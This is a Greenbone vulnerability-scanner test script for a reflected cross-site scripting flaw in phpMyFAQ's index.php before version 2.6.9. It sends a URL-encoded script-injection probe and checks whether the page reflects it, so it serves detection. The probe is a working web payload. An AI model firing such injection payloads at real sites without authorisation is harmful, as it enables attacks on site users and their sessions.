phpMyFAQ 'index.php' XSS Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:phpmyfaq:phpmyfaq";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100829");
  script_version("2025-09-19T15:40:40+0000");
  script_tag(name:"last_modification", value:"2025-09-19 15:40:40 +0000 (Fri, 19 Sep 2025)");
  script_tag(name:"creation_date", value:"2010-09-29 12:56:18 +0200 (Wed, 29 Sep 2010)");
  script_tag(name:"cvss_base", value:"2.6");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:N/I:P/A:N");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_name("phpMyFAQ 'index.php' XSS Vulnerability");

  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("gb_phpmyfaq_http_detect.nasl");
  script_mandatory_keys("phpmyfaq/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"phpMyFAQ is prone to a cross-site scripting (XSS) vulnerability
  because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker may leverage this issue to execute arbitrary script
  code in the browser of an unsuspecting user in the context of the affected site. This may allow
  the attacker to steal cookie-based authentication credentials and to launch other attacks.");

  script_tag(name:"affected", value:"Versions prior to phpMyFAQ 2.6.9 are vulnerable.");

  script_tag(name:"solution", value:"Updates are available. Please see the references for
  details.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/43560");
  script_xref(name:"URL", value:"http://www.phpmyfaq.de/advisory_2010-09-28.php");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + "/index.php/%22%3E%3Cscript%3Ealert(%27vt-xss-test%27)%3C/script%3E";

if (http_vuln_check(port: port,url: url, pattern: "<script>alert\('vt-xss-test'\)</script>",
                    check_header: TRUE)) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(0);